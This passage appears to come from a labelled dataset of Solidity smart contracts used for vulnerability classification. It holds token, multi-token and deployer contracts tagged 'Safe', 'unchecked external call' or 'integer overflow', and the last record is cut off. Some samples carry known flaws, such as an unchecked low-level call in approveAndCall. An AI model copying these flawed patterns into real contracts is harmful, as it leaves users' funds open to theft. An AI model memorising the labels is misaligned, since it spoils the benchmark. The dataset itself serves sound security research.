returns (string) { return tokenSymbol; } function decimals() public view returns (uint8) { return tokenDecimals; } function totalSupply() public view returns (uint256) { return tokenTotalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } function transfer(address _to, uint256 _value) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } } // ---------------------------------------------------------------------------- // FinalizableToken - Extension to ERC20Token with ops and finalization // Enuma Blockchain Platform // // Copyright (c) 2017 Enuma Technologies. // https://www.enuma.io/ // ---------------------------------------------------------------------------- // // ERC20 token with the following additions: // 1. Owner/Ops Ownership // 2. Finalization // contract FinalizableToken is ERC20Token, OpsManaged, Finalizable { using Math for uint256; // The constructor will assign the initial token supply to the owner (msg.sender). function FinalizableToken(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public ERC20Token(_name, _symbol, _decimals, _totalSupply, msg.sender) OpsManaged() Finalizable() { } function transfer(address _to, uint256 _value) public returns (bool success) { validateTransfer(msg.sender, _to); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { validateTransfer(msg.sender, _to); return super.transferFrom(_from, _to, _value); } function validateTransfer(address _sender, address _to) private view { // Once the token is finalized, everybody can transfer tokens. if (finalized) { return; } if (isOwner(_to)) { return; } // Before the token is finalized, only owner and ops are allowed to initiate transfers. // This allows them to move tokens while the sale is still ongoing for example. require(isOwnerOrOps(_sender)); } } // ---------------------------------------------------------------------------- // Eximchain Token Contract Configuration // // Copyright (c) 2017 Eximchain Pte. Ltd. // http://www.eximchain.com/ // // The MIT Licence. // ---------------------------------------------------------------------------- contract EximchainTokenConfig { string public constant TOKEN_SYMBOL = ""EXC""; string public constant TOKEN_NAME = ""Eximchain Token""; uint8 public constant TOKEN_DECIMALS = 18; uint256 public constant DECIMALSFACTOR = 10**uint256(TOKEN_DECIMALS); uint256 public constant TOKEN_TOTALSUPPLY = 150000000 * DECIMALSFACTOR; } // ---------------------------------------------------------------------------- // Eximchain Token Contract // // Copyright (c) 2017 Eximchain Pte. Ltd. // http://www.eximchain.com/ // The MIT Licence. // // Based on FinalizableToken contract from Enuma Technologies. // Copyright (c) 2017 Enuma Technologies // https://www.enuma.io/ // ---------------------------------------------------------------------------- contract EximchainToken is FinalizableToken, EximchainTokenConfig { bool public frozen; // // Events // event TokensBurnt(address indexed _account, uint256 _amount); event TokensReclaimed(uint256 _amount); event Frozen(); function EximchainToken() public FinalizableToken(TOKEN_NAME, TOKEN_SYMBOL, TOKEN_DECIMALS, TOKEN_TOTALSUPPLY) { frozen = false; } function transfer(address _to, uint256 _value) public returns (bool success) { require(!frozen); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(!frozen); return super.transferFrom(_from, _to, _value); } // Allows a token holder to burn tokens. Once burned, tokens are permanently // removed from the total supply. function burn(uint256 _amount) public returns (bool) { require(_amount > 0); address account = msg.sender; require(_amount <= balanceOf(account)); balances[account] = balances[account].sub(_amount); tokenTotalSupply = tokenTotalSupply.sub(_amount); TokensBurnt(account, _amount); return true; } // Allows the owner to reclaim tokens that are assigned to the token contract itself. function reclaimTokens() public onlyOwner returns (bool) { address account = address(this); uint256 amount = balanceOf(account); if (amount == 0) { return false; } balances[account] = balances[account].sub(amount); balances[owner] = balances[owner].add(amount); Transfer(account, owner, amount); TokensReclaimed(amount); return true; } // Allows the owner to permanently disable token transfers. This can be used // once side chain is ready and the owner wants to stop transfers to take a snapshot // of token balances for the genesis of the side chain. function freeze() public onlyOwner returns (bool) { require(!frozen); frozen = true; Frozen(); return true; } }",Safe,8,8 0x047a2c85394dd7f475027fc2bf1753babb454094_MultiTokenDeployer.sol,"pragma solidity ^0.4.24; // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: contracts/registry/IDeployer.sol contract IDeployer is Ownable { function deploy(bytes data) external returns(address mtkn); } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: contracts/ext/CheckedERC20.sol library CheckedERC20 { using SafeMath for uint; function checkedTransfer(ERC20 _token, address _to, uint256 _value) internal { if (_value == 0) { return; } uint256 balance = _token.balanceOf(this); _token.transfer(_to, _value); require(_token.balanceOf(this) == balance.sub(_value), ""checkedTransfer: Final balance didn't match""); } function checkedTransferFrom(ERC20 _token, address _from, address _to, uint256 _value) internal { if (_value == 0) { return; } uint256 toBalance = _token.balanceOf(_to); _token.transferFrom(_from, _to, _value); require(_token.balanceOf(_to) == toBalance.add(_value), ""checkedTransfer: Final balance didn't match""); } } // File: contracts/interface/IBasicMultiToken.sol contract IBasicMultiToken is ERC20 { event Bundle(address indexed who, address indexed beneficiary, uint256 value); event Unbundle(address indexed who, address indexed beneficiary, uint256 value); function tokensCount() public view returns(uint256); function tokens(uint256 _index) public view returns(ERC20); function allTokens() public view returns(ERC20[]); function allDecimals() public view returns(uint8[]); function allBalances() public view returns(uint256[]); function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; function bundle(address _beneficiary, uint256 _amount) public; function unbundle(address _beneficiary, uint256 _value) public; function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; } // File: contracts/interface/IMultiToken.sol contract IMultiToken is IBasicMultiToken { event Update(); event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); function allWeights() public view returns(uint256[] _weights); function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); } // File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } // File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: openzeppelin-solidity/contracts/token/ERC20/DetailedERC20.sol /** * @title DetailedERC20 token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } // File: contracts/ext/ERC1003Token.sol contract ERC1003Caller is Ownable { function makeCall(address _target, bytes _data) external payable onlyOwner returns (bool) { // solium-disable-next-line security/no-call-value return _target.call.value(msg.value)(_data); } } contract ERC1003Token is ERC20 { ERC1003Caller public caller_ = new ERC1003Caller(); address[] internal sendersStack_; function approveAndCall(address _to, uint256 _value, bytes _data) public payable returns (bool) { sendersStack_.push(msg.sender); approve(_to, _value); require(caller_.makeCall.value(msg.value)(_to, _data)); sendersStack_.length -= 1; return true; } function transferAndCall(address _to, uint256 _value, bytes _data) public payable returns (bool) { transfer(_to, _value); require(caller_.makeCall.value(msg.value)(_to, _data)); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { address from = (_from != address(caller_)) ? _from : sendersStack_[sendersStack_.length - 1]; return super.transferFrom(from, _to, _value); } } // File: contracts/BasicMultiToken.sol contract BasicMultiToken is Pausable, StandardToken, DetailedERC20, ERC1003Token, IBasicMultiToken { using CheckedERC20 for ERC20; ERC20[] public tokens; event Bundle(address indexed who, address indexed beneficiary, uint256 value); event Unbundle(address indexed who, address indexed beneficiary, uint256 value); constructor() public DetailedERC20("""", """", 0) { } function init(ERC20[] _tokens, string _name, string _symbol, uint8 _decimals) public { require(decimals == 0, ""init: contract was already initialized""); require(_decimals > 0, ""init: _decimals should not be zero""); require(bytes(_name).length > 0, ""init: _name should not be empty""); require(bytes(_symbol).length > 0, ""init: _symbol should not be empty""); require(_tokens.length >= 2, ""Contract do not support less than 2 inner tokens""); name = _name; symbol = _symbol; decimals = _decimals; tokens = _tokens; } function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public { require(totalSupply_ == 0, ""This method can be used with zero total supply only""); _bundle(_beneficiary, _amount, _tokenAmounts); } function bundle(address _beneficiary, uint256 _amount) public { require(totalSupply_ != 0, ""This method can be used with non zero total supply only""); uint256[] memory tokenAmounts = new uint256[](tokens.length); for (uint i = 0; i < tokens.length; i++) { tokenAmounts[i] = tokens[i].balanceOf(this).mul(_amount).div(totalSupply_); } _bundle(_beneficiary, _amount, tokenAmounts); } function unbundle(address _beneficiary, uint256 _value) public { unbundleSome(_beneficiary, _value, tokens); } function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public { require(_tokens.length > 0, ""Array of tokens can't be empty""); uint256 totalSupply = totalSupply_; balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply_ = totalSupply.sub(_value); emit Unbundle(msg.sender, _beneficiary, _value); emit Transfer(msg.sender, 0, _value); for (uint i = 0; i < _tokens.length; i++) { for (uint j = 0; j < i; j++) { require(_tokens[i] != _tokens[j], ""unbundleSome: should not unbundle same token multiple times""); } uint256 tokenAmount = _tokens[i].balanceOf(this).mul(_value).div(totalSupply); _tokens[i].checkedTransfer(_beneficiary, tokenAmount); } } function _bundle(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) internal whenNotPaused { require(tokens.length == _tokenAmounts.length, ""Lenghts of tokens and _tokenAmounts array should be equal""); for (uint i = 0; i < tokens.length; i++) { uint256 prevBalance = tokens[i].balanceOf(this); tokens[i].transferFrom(msg.sender, this, _tokenAmounts[i]); // Can't use require because not all ERC20 tokens return bool require(tokens[i].balanceOf(this) == prevBalance.add(_tokenAmounts[i]), ""Invalid token behavior""); } totalSupply_ = totalSupply_.add(_amount); balances[_beneficiary] = balances[_beneficiary].add(_amount); emit Bundle(msg.sender, _beneficiary, _amount); emit Transfer(0, _beneficiary, _amount); } // Instant Loans function lend(address _to, ERC20 _token, uint256 _amount, address _target, bytes _data) public payable { uint256 prevBalance = _token.balanceOf(this); _token.transfer(_to, _amount); require(caller_.makeCall.value(msg.value)(_target, _data), ""lend: arbitrary call failed""); require(_token.balanceOf(this) >= prevBalance, ""lend: lended token must be refilled""); } // Public Getters function tokensCount() public view returns(uint) { return tokens.length; } function tokens(uint _index) public view returns(ERC20) { return tokens[_index]; } function allTokens() public view returns(ERC20[] _tokens) { _tokens = tokens; } function allBalances() public view returns(uint256[] _balances) { _balances = new uint256[](tokens.length); for (uint i = 0; i < tokens.length; i++) { _balances[i] = tokens[i].balanceOf(this); } } function allDecimals() public view returns(uint8[] _decimals) { _decimals = new uint8[](tokens.length); for (uint i = 0; i < tokens.length; i++) { _decimals[i] = DetailedERC20(tokens[i]).decimals(); } } function allTokensDecimalsBalances() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances) { _tokens = allTokens(); _decimals = allDecimals(); _balances = allBalances(); } } // File: contracts/MultiToken.sol contract MultiToken is IMultiToken, BasicMultiToken { using CheckedERC20 for ERC20; uint inLendingMode; uint256 internal minimalWeight; mapping(address => uint256) public weights; function init(ERC20[] _tokens, uint256[] _weights, string _name, string _symbol, uint8 _decimals) public { super.init(_tokens, _name, _symbol, _decimals); require(_weights.length == tokens.length, ""Lenghts of _tokens and _weights array should be equal""); for (uint i = 0; i < tokens.length; i++) { require(_weights[i] != 0, ""The _weights array should not contains zeros""); require(weights[tokens[i]] == 0, ""The _tokens array have duplicates""); weights[tokens[i]] = _weights[i]; if (minimalWeight == 0 || minimalWeight < _weights[i]) { minimalWeight = _weights[i]; } } } function init2(ERC20[] _tokens, uint256[] _weights, string _name, string _symbol, uint8 _decimals) public { init(_tokens, _weights, _name, _symbol, _decimals); } function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns(uint256 returnAmount) { if (weights[_fromToken] > 0 && weights[_toToken] > 0 && _fromToken != _toToken) { uint256 fromBalance = ERC20(_fromToken).balanceOf(this); uint256 toBalance = ERC20(_toToken).balanceOf(this); returnAmount = _amount.mul(toBalance).mul(weights[_fromToken]).div( _amount.mul(weights[_fromToken]).div(minimalWeight).add(fromBalance) ); } } function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns(uint256 returnAmount) { require(inLendingMode == 0); returnAmount = getReturn(_fromToken, _toToken, _amount); require(returnAmount > 0, ""The return amount is zero""); require(returnAmount >= _minReturn, ""The return amount is less than _minReturn value""); ERC20(_fromToken).checkedTransferFrom(msg.sender, this, _amount); ERC20(_toToken).checkedTransfer(msg.sender, returnAmount); emit Change(_fromToken, _toToken, msg.sender, _amount, returnAmount); } // Instant Loans function lend(address _to, ERC20 _token, uint256 _amount, address _target, bytes _data) public payable { inLendingMode += 1; super.lend(_to, _token, _amount, _target, _data); inLendingMode -= 1; } // Public Getters function allWeights() public view returns(uint256[] _weights) { _weights = new uint256[](tokens.length); for (uint i = 0; i < tokens.length; i++) { _weights[i] = weights[tokens[i]]; } } function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights) { (_tokens, _decimals, _balances) = allTokensDecimalsBalances(); _weights = allWeights(); } } // File: contracts/FeeMultiToken.sol contract FeeMultiToken is Ownable, MultiToken { using CheckedERC20 for ERC20; uint256 public constant ONE_HUNDRED_PERCRENTS = 1000000; uint256 public lendFee; uint256 public changeFee; uint256 public refferalFee; function init(ERC20[] _tokens, uint256[] _weights, string _name, string _symbol, uint8 /*_decimals*/) public { super.init(_tokens, _weights, _name, _symbol, 18); } function setLendFee(uint256 _lendFee) public onlyOwner { require(_lendFee <= 30000, ""setLendFee: fee should be not greater than 3%""); lendFee = _lendFee; } function setChangeFee(uint256 _changeFee) public onlyOwner { require(_changeFee <= 30000, ""setChangeFee: fee should be not greater than 3%""); changeFee = _changeFee; } function setRefferalFee(uint256 _refferalFee) public onlyOwner { require(_refferalFee <= 500000, ""setChangeFee: fee should be not greater than 50% of changeFee""); refferalFee = _refferalFee; } function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns(uint256 returnAmount) { returnAmount = super.getReturn(_fromToken, _toToken, _amount).mul(ONE_HUNDRED_PERCRENTS.sub(changeFee)).div(ONE_HUNDRED_PERCRENTS); } function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns(uint256 returnAmount) { returnAmount = changeWithRef(_fromToken, _toToken, _amount, _minReturn, 0); } function changeWithRef(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn, address _ref) public returns(uint256 returnAmount) { returnAmount = super.change(_fromToken, _toToken, _amount, _minReturn); uint256 refferalAmount = returnAmount .mul(changeFee).div(ONE_HUNDRED_PERCRENTS.sub(changeFee)) .mul(refferalFee).div(ONE_HUNDRED_PERCRENTS); ERC20(_toToken).checkedTransfer(_ref, refferalAmount); } function lend(address _to, ERC20 _token, uint256 _amount, address _target, bytes _data) public payable { uint256 prevBalance = _token.balanceOf(this); super.lend(_to, _token, _amount, _target, _data); require(_token.balanceOf(this) >= prevBalance.mul(ONE_HUNDRED_PERCRENTS.add(lendFee)).div(ONE_HUNDRED_PERCRENTS), ""lend: tokens must be returned with lend fee""); } } // File: contracts/registry/MultiTokenDeployer.sol contract MultiTokenDeployer is Ownable, IDeployer { function deploy(bytes data) external onlyOwner returns(address) { require( // init(address[],uint256[],string,string,uint8) (data[0] == 0x6f && data[1] == 0x5f && data[2] == 0x53 && data[3] == 0x5d) || // init2(address[],uint256[],string,string,uint8) (data[0] == 0x18 && data[1] == 0x2a && data[2] == 0x54 && data[3] == 0x15) ); FeeMultiToken mtkn = new FeeMultiToken(); require(address(mtkn).call(data)); mtkn.transferOwnership(msg.sender); return mtkn; } }",Safe,8,8 35307.sol,"pragma solidity ^0.4.4; contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract ERC20Token is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function ERC20Token( ) { balances[msg.sender] = 100000000000000; totalSupply = 100000000000000; name = ""EUROBITS""; decimals = 5; symbol = ""EURB""; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 1389.sol,"pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } contract ERC20 { function totalSupply() public view returns (uint supply); function balanceOf( address who ) public view returns (uint value); function allowance( address owner, address spender ) public view returns (uint _allowance); function transfer( address to, uint value) public returns (bool ok); function transferFrom( address from, address to, uint value) public returns (bool ok); function approve( address spender, uint value ) public returns (bool ok); event Transfer( address indexed from, address indexed to, uint value); event Approval( address indexed owner, address indexed spender, uint value); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused { require(paused); _; } function pause() onlyOwner whenNotPaused public returns (bool) { paused = true; emit Pause(); return true; } function unpause() onlyOwner whenPaused public returns (bool) { paused = false; emit Unpause(); return true; } } contract NTechToken is ERC20, Ownable, Pausable{ string public name = ""NTech""; string public symbol = ""NT""; uint8 constant public decimals = 18; uint256 supply; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) approvals; uint256 public constant initSupply = 10000000000; constructor() public { supply = SafeMath.mul(uint256(initSupply),uint256(10)**uint256(decimals)); balances[msg.sender] = supply; } function totalSupply() public view returns (uint256){ return supply ; } function balanceOf(address src) public view returns (uint256) { return balances[src]; } function allowance(address src, address guy) public view returns (uint256) { return approvals[src][guy]; } function transfer(address dst, uint wad) whenNotPaused public returns (bool) { require(balances[msg.sender] >= wad); require(dst != 0x0); balances[msg.sender] = SafeMath.sub(balances[msg.sender], wad); balances[dst] = SafeMath.add(balances[dst], wad); emit Transfer(msg.sender, dst, wad); return true; } function transferFrom(address src, address dst, uint wad) whenNotPaused public returns (bool) { require(balances[src] >= wad); require(approvals[src][msg.sender] >= wad); approvals[src][msg.sender] = SafeMath.sub(approvals[src][msg.sender], wad); balances[src] = SafeMath.sub(balances[src], wad); balances[dst] = SafeMath.add(balances[dst], wad); emit Transfer(src, dst, wad); return true; } function approve(address guy, uint256 wad) whenNotPaused public returns (bool) { require(wad != 0); approvals[msg.sender][guy] = wad; emit Approval(msg.sender, guy, wad); return true; } }",./Dataset/integer overflow (OF)/,4,4 39395.sol,"//just updated the encrypted api key //updated contractBalance -= 57245901639344; pragma solidity ^0.4.2; // /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016 Oraclize LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ""Software""), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id); function getPrice(string _datasource) returns (uint _dsprice); function getPrice(string _datasource, 